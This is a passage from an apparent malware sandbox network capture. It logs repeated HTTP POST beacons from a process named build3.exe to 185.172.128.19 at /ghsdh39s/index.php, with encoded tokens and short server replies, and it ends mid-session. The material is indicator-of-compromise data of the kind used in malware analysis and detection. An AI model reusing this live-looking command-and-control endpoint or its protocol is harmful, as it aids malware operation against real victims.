Dec 20, 2023 15:36:08.408179998 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:08.714499950 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49846	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:09.135210991 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:09.425626040 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:09.430443048 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:09.724539995 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49847	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:10.143135071 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:10.432590008 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:10.463637114 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:10.778429985 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49848	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:11.179572105 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:11.470108032 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:11.470875978 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:11.764184952 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49849	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:12.161312103 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:12.449891090 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:12.451288939 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:13.121521950 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:13.534502983 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49851	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:13.929440975 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:14.217535973 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:14.240252972 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:14.561517000 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49852	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:14.972353935 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:15.277353048 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:15.278325081 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:15.581156969 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49853	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:15.980417013 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:16.275440931 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:16.276329041 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:16.573059082 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49854	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:16.993339062 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:17.295815945 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:17.298265934 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:17.601299047 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49855	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:18.019232035 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:18.315917969 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:18.316760063 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:18.617496014 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49856	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:19.035629034 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:19.324035883 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:19.324903011 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:19.614454985 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49857	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:20.037753105 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:20.340642929 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:20.350465059 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:20.658185959 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49858	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:21.072318077 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:21.363334894 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:21.388439894 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:21.682481050 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49859	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
